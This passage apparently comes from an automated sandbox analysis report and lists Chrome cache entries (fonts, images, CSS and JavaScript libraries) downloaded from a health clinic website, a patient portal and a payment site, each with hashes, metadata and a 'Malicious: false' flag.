14.913C12.5486 14.913 12.0109 14.3753 12.0109 13.712C12.0109 13.0486 12.5486 12.5109 13.212 12.5109C13.8753 12.5109 14.413 13.0486 14.413 13.712ZM25.2228 2.90217C25.8862 2.90217 26.4239 2.36443 26.4239 1.70109C26.4239 1.03774

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	108
Entropy (8bit):	5.048610363507586
Encrypted:	false
SSDEEP:	3:NlAUOrkkqiZgpn1A0HnmR1QdTasdX03gk:NlQZgp1RHq1QRp96h
MD5:	D6140B0300A1BD54B0D4FED00CB7F082
SHA1:	38F112F83E7CDCA92DC3B7FE1E0AB1D4C225A9FE
SHA-256:	510E8B89596278C1CE5EBFDA51D9E3153AAAFABF0DE2F412E0295852333C76AF
SHA-512:	23DB1CFBB5C966EA532FA11F2B7DFFBFA95AFA4B856232BB724AE8C455575293EDEF33536103C46D93B5F8B01D90ABA7900F4E110236C5EDF33F2035C12CC30A
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnFge03TVp7yBIFDWIU09cSBQ1Pnif4EiUJDhPvutdjd-wSBQ1raJpuEgUNT54n-BIFDT7vLxMSBQ2mf7sAEhAJ35tqUaofnaoSBQ3JfSS7?alt=proto
Preview:	ChIKBw1iFNPXGgAKBw1Pnif4GgAKMAoLDWtomm4aBAgDGAEKCw1Pnif4GgQIBRgBCgcNPu8vExoACgsNpn+7ABoECA0YAQoJCgcNyX0kuxoA

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 179x179, components 3
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.4551248822086995
Encrypted:	false
SSDEEP:	48:i8qLwda4z1GggoZZPN8W0d+1BhmssqxMK+6xQHzzZcrj5E+ZAyK+m:esd5zRgoZZPN0d8gKXOHzliGEXK+m
MD5:	5E48C8D1338F34E4FA376A54F80744C3
SHA1:	B120D6239169B87F1462BB2E00DDF66171472129
SHA-256:	78796348ECDF580F6466528557AD8EBB058FCF096FAFF4EBC55D367172CBCCD1
SHA-512:	FFF10672178494A7470D777156BD395609C69EE32E3C994573C64A1086EBB27B6CB3A85C086AA5F508F582684CC854E4B2A7794CB6051D07AF8D3E7DB3BEF626
Malicious:	false
Reputation:	low
Preview:	......JFIF..................................................(( . %...!1!%),../..383,7(-.+...........+...++++++++++++++++++++++++++++++++++++++++++++++++++..........."........................................<.........................!1..2AQaq...."RSr.....b..#3BC...$........................................................?..@............................1.\|+...P.Vm...`d1bq5..;g.Es...W...:.u."......~..W.CH]....Y+%..yv-..kH.....BS..f.\|O$@bxQ..p.]vM.._...v..7..U.].?.....Z.QD.<._.0....[.~.Q.j.&..h.q....nP.......{.<...$....J.B..3....s.O..{../V....j....)<.7.e.`u..E.....K......./.....p..my...\..~_1.....,e..U$.&..YE.....cnw^.odR..<..p?....}............8...N...o..u.1i.-N..u.....DW;).g.\|F.......k....>.....t..V.F+5.g.....6D......j.?...5.t.q#.,..(.L8?.o.u.....m'........@s`...C..\.}........i...n...J..Q\|G.........../v6.u.n..}TG......#......3..F/..........Qp../.w../.R.yn...w.`k...,%.E.9.N......(....G..........l..t..?n.sP.O.e..MS..[...7b.}.Uq.Q.QQI$.$.2@C.MU.`..u.K.).

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1536
Entropy (8bit):	4.498355936496123
Encrypted:	false
SSDEEP:	24:2dT7SOu66MMqwwV2H7t0sWutJ9nxtSilE/qXn+RCEcC7lyo+cBaAVNluNLg4amM7:cXSYJzV2HGsWrYE/qXnjEcC7MouRgfmk
MD5:	6A9EAA3F65EBAD781B7F2E51AFFF0719
SHA1:	3F32EBCE613793055796F37DD55C93A7EDAA7065
SHA-256:	08241B2B49100AAD5FD0400CFB23EEA78EC9AB4961BED15441EF42D07049B2C7
SHA-512:	E4CE00F8B15EAD5BD393CF6DEDB22D6973BBE03BCB6DB9ACBC4F7EE2C3EA3FBD31537CCF58FA7394A0354E4E7D103EF61FFB09FB97A49156822853B8E4B7335D
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_4.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#50C2E0" fill-opacity="0.15"/>.<path d="M44.4471 20.3081C43.6459 19.554 42.6204 19.1918 41.5869 19.1918C40.4235 19.1918 39.2486 19.6505 38.3726 20.5277L37.9967 20.9036L37.6208 20.5265C36.7448 19.6505 35.5699 19.1918 34.4065 19.1918C33.373 19.1918 32.3476 19.554 31.5463 20.3081C29.7839 21.967 29.7529 24.7421 31.452 26.4412L37.9967 32.9859L44.5414 26.4412C46.2405 24.7421 46.2095 21.967 44.4471 20.3081Z" fill="#2DB4D7"/>.<path d="M50.8711 36.3186C49.8652 35.6369 48.68 35.83 47.6304 36.4359C46.5808 37.0417 40.5546 42.1942 40.5546 42.1942L34.6226 42.1954C34.3467 42.1954 34.0478 41.885 34.0478 41.61

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2462
Entropy (8bit):	7.90836744185095
Encrypted:	false
SSDEEP:	48:wZknY5wTEUYfMaXesr1nAc7Q1eYFXGouTq4pJyMQNCorVD63m:KsTERMwrsB9uT0Ce82
MD5:	B3D5264CFE61D068E388792CD360FC06
SHA1:	3924AF91716FB0EE206FEC9657125DA906C14F97
SHA-256:	71B35CCCEBB3A7D261A4ECC30A49EE9F54831B453ABA61966038DF48792EBAF9
SHA-512:	5B5DC6813ECB084EABD1668EC053B451D8A96846BB9001D0E0C0D62A3B9AE580CC7CF46E78A1DE469DA477A81547195015158F7A3EEF19853315F2CF73901FEA
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/new-to-portal.png
Preview:	.PNG........IHDR...K...<......iG.....sBIT....\|.d....UIDATx^.{p......v...n...dS ...i.R...R.L......a,E...RG.ZE...3R...q..Z..5.. ...P..0.'.....&..n..dC...,t.3......s.......Q-yK.........I.`$Pb#D4..f.D.@.J9'.z...Y..`0....K..5(..\..".......wD9h7.z....\|.g5..e;QWK...W.7.v.@.)E..ZC....)....m..j..~...........U2....Aa...?..L_&.......@.. ..L...mo.e..`\|.O..1.j.xn...ob0......I)...Z.o..i..$...&..Q....L....9..q"X.. jX.N..hM......p./.Y-.h..I^3.&J...Pu.....8..U.[....F^JF...6{...7.u&..ir..c.o).JHk......sH..}.;.......,.{....:r$..L.."...:..=..da.3......W5.=....%Q.rL{t%.q....=Q...%@.}...........V...?...MM...o...,,.zM.~...s...d.Ka...?..hp...z....q[._......._I2..;[n.{....v.-X.............Q#>......\|.U.i......Y..._\a%..4-w......eA...=g.<.t..v...&X.+..T.U..q....y.x".........0.X......p...u.]... K...i.O5.-.......HK.t..4.,....Y...-j.Fj.02,....(.j.u...<...#.('.e.C..0D/.~?.-vP!8...-...7..a....,W..~..:..g.o.1+*..@.E8X....?K:..&Y.}J...b[..Q4.b.....,.JE

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	98
Entropy (8bit):	4.3345953784587445
Encrypted:	false
SSDEEP:	3:UV9DZUAKVcLfA2OnMz9BF+RUAzKZMAyn:UbFKVU4Vu9zTAO6
MD5:	E6094661D8923E95B233019EBFF7C8F0
SHA1:	CFD836D385D475BAFFEE45D85CFEB9BB36E70D9E
SHA-256:	547DDA3C14B284819BE511BE1E410DA94A5EFC6CCC4A9AFE1C75394F9333191A
SHA-512:	B5684920345CCC14419CEC135D43521BDC9B77618BEFA0096E11E33414DBA09225FFE8E19EF10F3D75A74A086CFA40BE2EBF3A4310FA6395E3E2D407A7451995
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. */

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7776, version 1.0
Category:	downloaded
Size (bytes):	7776
Entropy (8bit):	7.968082783938681
Encrypted:	false
SSDEEP:	96:SDFV9xLb1fYNguLOM4cdOGezH/KK3L33+kQM7h25wHdVG2P1j2amxokdj1bEe4k5:SRLbaNj/1IL3u6h25wHuK1aadkJbgD2X
MD5:	84780596E268AA0CB2BE48AF2ED5C375
SHA1:	D67CCD32F8C790A746D64D06145882A2F7B06560
SHA-256:	D7BA57E3CCC2E3B2BDF8CC9E613194B802607682BF473293C2E3E29DE82C9491
SHA-512:	0E7B489A067BF54B58625421384D93AE793394D4993ED61E7509FBCAF31D4BDDF0D8451E69C9AF935B22DDB34B31278BDA75EA2C0A76E5E3C249615723026B77
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2
Preview:	wOF2.......`......?p............................. .0.`..T..0....6..6.$..h. ..H....<2....Z..(W.&...n.p.+.0."!.....c.....C%....?FzBe...^qP....Ory.~.P....J.....!o.\!T.".7<....=.FO...%%..Z......9.E.s....k.-_.^....".\.]......hWT....s.r\Q...i.V...V.%..a.A.G........Eb+..x......' ...s.Z......^8...i._d"].<.IuP4Q............k.,...im.@.....U....=.....VT..`Q.(J..2t.......8...~.Z.D&:.....\V.U?.+..0b.&.`.LY.9N..."...d.aEtO..6@.Y/T.gc..e\..D...F..z.\...a%.w....x.@...v.<2}.!P.........g..v..(`.6.!.F....O.+g.6...J......)....B. .....8.0''>').<..p0Y}^."...^..j.9...Ms.joL.6...........z......>..0...~/'/Z._../..7.06../.+X{7.!J.0....$..k"..J`}>...2._.0...M...m^........Znyb ..q...k=...bD.=<.?.\..,.$u....>.6 F5Xi...G..'...QF.YBA......!..i..R.qn^.3l.@?..C..C.Ug3.N..:.5TU...,&..Lz=sg..5..0..d...y...SG..o3...LT.u...:.jj..2...a...K..k.R......}mm.v.[.+..............4.hBUzm...6.n.4.3Y.d..s...l0p...0L0........s..H=n"...d.$.-)...q....).5(...B....h.]..".x..Z..]..d....2.>...C.

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	640
Entropy (8bit):	4.784261227450071
Encrypted:	false
SSDEEP:	12:NvM3fL5A5WMXWkUKj84wkKfGPyEsRwY9Wkhu8UCuwEz8wSBR:NvOEnX9foJOPyEwwY99hDUCEov
MD5:	6BF6E054D835F120B8FC5C141412790F
SHA1:	82B90AB2E1D9BC2A1CAF1362A34EC6B40A8ADAFF
SHA-256:	F77B280F3CF94F2025EE3FB1DBC4E1016F0CE1B60C14D2A11712A26B8BD94EAA
SHA-512:	FB73B65DB2A55948A31D6991CE97566228752C955CE82176BFFFA278584B70E7B2A55F163F4F37532F96A442572E45771627CB4C880521C24A2B176F4BF3D683
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/js/healow-practice-pay-widget.js
Preview:	$(document).ready(function () {.. AOS.init({.. disable: function() {.. var maxWidth = 992;.. return window.innerWidth < maxWidth;.. }.. }); .. /* setTimeout(function(){.. $('.toaster-section').removeClass('d-none');.. $('.payment-block, #rightWidgetSection').removeClass('custhgt');.. },4000)*/.. .. $('.closetoaster').on('click',function(){.. $('.toaster-section').addClass('d-none');.. $('.payment-block').addClass('custhgt');.. $("#rightWidgetSection").removeClass('custhgt3');.. $("#rightWidgetSection").addClass('custhgt2');.. })..});

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2624
Entropy (8bit):	7.896862186705419
Encrypted:	false
SSDEEP:	48:vw2Kr9vTon/gUCO4/+yuEkWiIN57ilnbeOxmaIFGrzrfFo5D:IJr92/Zbo+EiKil6BwG
MD5:	37D28F41AE1A6F015BE021318AD477C8
SHA1:	1478BA2BFAD055912ED09973720CAAC6EDEE043C
SHA-256:	3A6967F45B4435BBE71C2B83D185C6DBED91FF2A255BAB2D9BDD38D5F4D4D7E0
SHA-512:	141D8F2C2370D4EF6D2E1C94A288D2359A90FBAA7C32066744D1B834C26A27C3F916790BB32B1DD8F52773E6BAA94A64AA268B9A59E71510DB7A08DB3FB151DB
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/img/track-your-payment-history.png
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.[yt....=,..!!.K..!...N ..m.1!..#...8%...^J....+.J.A.!6!...M).A`l#..(5-!..`\|.....+i..Q?Y.].J.H..KO.].....of1.Cz.."..&...YR.P....4.s.0gdM..<@.K.. 13P..h.[.u.R}....gtX.<1.j]...T2. .....DQ..2..v!.\4.........8IK.1......C...E<...Z.@.uw.{.kz..N.&..3.]S,BcJI}.T..E..R.._..q_.<...P../g.0.....L.Cv?.=6}8%Fn..FsVFzE.1J0....).;..]..^..p&....1..@.N.v..#{iI........5X....rtbt.PyNyxHD......6..<'hY.j..]G{....L].x.W>5b....C...1............H... ;X......)D.[i..9..-Z.B2.....W.p1.L4..0..7...7k.[..............B\|.n..%E~.0.q$G4`.I.s.D..89..~{........y.{s..1.T.6....%..S.`..w...8....g..`..............?(.Z.o..HB.....'..NM#..........s...M>..'b...~.id\..E....`@.....y..g..x.Z\=y....L..,fY...<...[<.....>...[z.../../K....z1...."e.5!...R.VA.(.-.........9..{>..KMM.M.!....6..t..f]..vX......E.'.i4Hy.`.k.C@....#.6..;....M.+`..!..~.[SM.`.y..9.@..WkQR....g...7./......Q!..^E.'....7..<...!..}...J.`.kIV..........@.L..h.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=&C=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299)
Category:	downloaded
Size (bytes):	84378
Entropy (8bit):	5.1599133122400875
Encrypted:	false
SSDEEP:	768:0u/iPe3+zZTVPVBNppu7MTAN6/kp3EfB+4edVAja+t+QnXLb1+uaR+orWieOJAlU:0eiG+Nkp083dG3ulPFzfBqT+m/S
MD5:	F81D0A1705048649BEFC8B595E455A94
SHA1:	AEC551E4D573463088FCA7D14FB644EB389F1839
SHA-256:	B0212543CC5A4A0A31C1B5A9D1E8973261992116B4CFDE3E7DFCF33B4E81A97B
SHA-512:	C15ED88F56A52190EA645094409CBCE5537EAAF108972F777C840037B8AA0C508F12E70B09E345CF8AF7E450A8F6CE96AE974340F8BCD316E58D707C063B6F72
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/bootstrap.bundle.min.js
Preview:	/!. Bootstrap v4.6.0 (https://getbootstrap.com/). * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var i=n(e);function o(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function r(t,e,n){return e&&o(t.prototype,e),n&&o(t,n),t}function a(){return(a=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}retu

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3098
Entropy (8bit):	7.88701385219321
Encrypted:	false
SSDEEP:	48:2ocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODX4r+Pw1ZY:2Z/I09Da01l+gmkyTt6Hk8nToceZY
MD5:	665D987811EAEAFFF44DFC8311BC1B71
SHA1:	73C317EC20112D6833E7ADC64DBD4306ECCDBA05
SHA-256:	046B106B352C268B41C4A818E52DEC89B4153278C09B64DA768BDE820C7DE61D
SHA-512:	7A764F71774E5E9258EDFBDB852D50CAD3AD2F7371C2C7A9082E83336583C8C8155CB0F4E1166199DBA48303A151956F531F173B2C3FA37AB2C81555591A02DD
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/img/icon-healow.png
Preview:	.PNG........IHDR................a....pHYs..a...a... U....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3135)
Category:	downloaded
Size (bytes):	12742
Entropy (8bit):	5.393982901033924
Encrypted:	false
SSDEEP:	192:kK/jPjtTRDU/gA/MG2r5Vr8F4rtrNurI/OZI3g/I2/T/c/U:kgjPbAxfFKBp3ggi7sU
MD5:	1EE95F918D49C7663EE489E105F5E311
SHA1:	B165C1B09C07F46832C39465B619D0C2B45A854D
SHA-256:	08642DA75E8EF49978EE1DB94821C59C40F169B3D984DB60D3AF6F689EE5B7F0
SHA-512:	A54A018448EFFEF790416CD9DD87D8A21DE215A655C5855258A6BCE9919630A72756B5D4301449BACCC32EDB27D5178909169F75FBBCCBECD9EC6DF3246C6B28
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6
Preview:	.wprevpro_t1_outer_div{padding:0;margin:0 0px 0 0px}.wprevpro_t1_DIV_1{box-sizing:border-box;color:#fff;text-size-adjust:100%;column-rule-color:#fff;perspective-origin:277.5px 115px;transform-origin:277.5px 115px;border:0 none #fff;font:normal normal normal normal 13px/20.8px "Helvetica Neue",Helvetica,Arial,sans-serif;outline:#fff none 0;margin-bottom:20px;margin-top:10px}.wprevpro_t1_DIV_2{bottom:0;box-shadow:rgba(0,0,0,.0980392) 2px 2px 2px 0;box-sizing:border-box;color:#fff;height:auto;left:0;position:relative;right:0;text-size-adjust:100%;top:0;column-rule-color:#fff;perspective-origin:277.5px 69px;transform-origin:277.5px 69px;background:#fff none repeat scroll 0 0/auto padding-box border-box;border:1px solid #f5f5f5;font:normal normal normal normal 13px/20.8px "Helvetica Neue",Helvetica,Arial,sans-serif;margin:0 0 25px;outline:#fff none 0;padding:20px 25px 20px 48px}.wprevpro_t1_DIV_2:after{bottom:-30px;box-sizing:border-box;color:#fff;content:'';display:block;height:30px;left:8

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	downloaded
Size (bytes):	15110
Entropy (8bit):	5.465872058146151
Encrypted:	false
SSDEEP:	384:IQojHdEA+ggCiU7nnaClpFr+5SYOelHO91hIuW:IQumA+QDnRGOGJ
MD5:	2DFE7D4CEBC6EA69A0BFCBFD2782DDD3
SHA1:	38B71B5CB7FBEC895CD81A2816AFC9F1E1AFA27B
SHA-256:	8B280F5C7144EE31625C5F64529BB8DADFE03C2D860841CC62CEA74E925EEAB1
SHA-512:	22D3D1B5B22D2B4ADA930DC86D4932706560258CF512BCFEC190851BF92F636C62C7B7CCA2040E078F28E9F1B4E4062B38048E88A25B28F17469ED594C4F6A33
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/js/client.js?onload=clientLibraryLoaded
Preview:	(function(){var aa="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(null==a)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10417
Entropy (8bit):	5.0030837898115355
Encrypted:	false
SSDEEP:	192:2P7GdhP/mO1zslegTFnSCPwrZKvP0PScm1:I7Oh/L1YleCSo6kH0h8
MD5:	89235F00447DE2F2CCDB832681329FA4
SHA1:	E2A140411DE802335A987743E1C83552D7E23478
SHA-256:	BB074470335C51CE340226D0CD210450874E73FE2AB2EA1577F97CDA61018742
SHA-512:	3BDCC730C34B6AED93C059621D5703A431E10BB65EDEBC2391E8FAC83A4B16B1C31B6E3A460ACFFF545702E3A651A6B509F04E749BCBDFA0F0C22F9018D6F21A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3
Preview:	/*.. Styling for Gutenberg post layout blocks.. /.... {.. -webkit-box-sizing: border-box;.. -moz-box-sizing: border-box;.. box-sizing: border-box;..}.....cv-clearfix{.. display: block;..}.....cv-clearfix:after{.. content: "";.. display: block;.. clear: both;..}..../* Block Title two */.....cv-block-title{.. font-size: 32px;.. position: relative;..}.... .cv-block-title span{.. position: relative;.. display: inline-block;.. }.... .cv-block-title.align--left {.. text-align: left;..}.....cv-block-title.align--center {.. text-align: center;..}.....cv-block-title.align--right {.. text-align: right;..}.....cv-block-title.layout--two{.. margin-bottom: 40px;..}.....cv-block-title.layout--two span::before, ...cv-block-title.layout--two span::after {.. content: "";.. position: absolute;.. left: 50%;.. bottom: 0;.. width: 50px;.. height: 2px;.. background: #333;.. margin-left: -25px;..}.....cv-block-title.layout--two span::after {.. left: 50%;.. width: 30px;.. margin-left: -15px;

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H5A9inY:a9L
MD5:	7F3EDE7167BBAA4FB86B4F9BBE5D0D1A
SHA1:	E57F3EDD1A84EFF767D5164BFC0EE32CA341B4F9
SHA-256:	3A7E590FC9782FE7AD0D3D926124970EBC55504AFDD230EF7FD6CE3C8C80B1B5
SHA-512:	FAE2B42A1F5E7ED139B1D38D920683D119CC9233323098C36D00AEFC3A49E05A300410976C0C0379CC3242B807193302BA1B664FD6C23D8A094C8B2CC0874C66
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnWLsZAnTcBnhIFDZSQkvo=?alt=proto
Preview:	CgkKBw2UkJL6GgA=

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	19885
Entropy (8bit):	3.9222851246917934
Encrypted:	false
SSDEEP:	384:Rld9R09SIx5kGzS75yROkDsoWV26OsNC3vQnSpTmSZDuS2flVWp:TdTESIx5MSoHV2qNk7/DuS2dVWp
MD5:	DE0444852A7B6BD2C15C6EF32A94FE4B
SHA1:	062A19A7DEC1FE09DF6EB4386A12BAF9EEF5CB66
SHA-256:	39CDEA051E5DC16A04531E6666E19FD407625D6A1F6F19E8107459EB23E0B0A7
SHA-512:	686E994D2447C4432301A04D39094060E0945358F01E3FFBC8587C584EFBF5B64F31A618725C32409D2823DAEC6AE08B2082C4B954486916B64B0986CFB2E94F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/06/icon__logo.svg
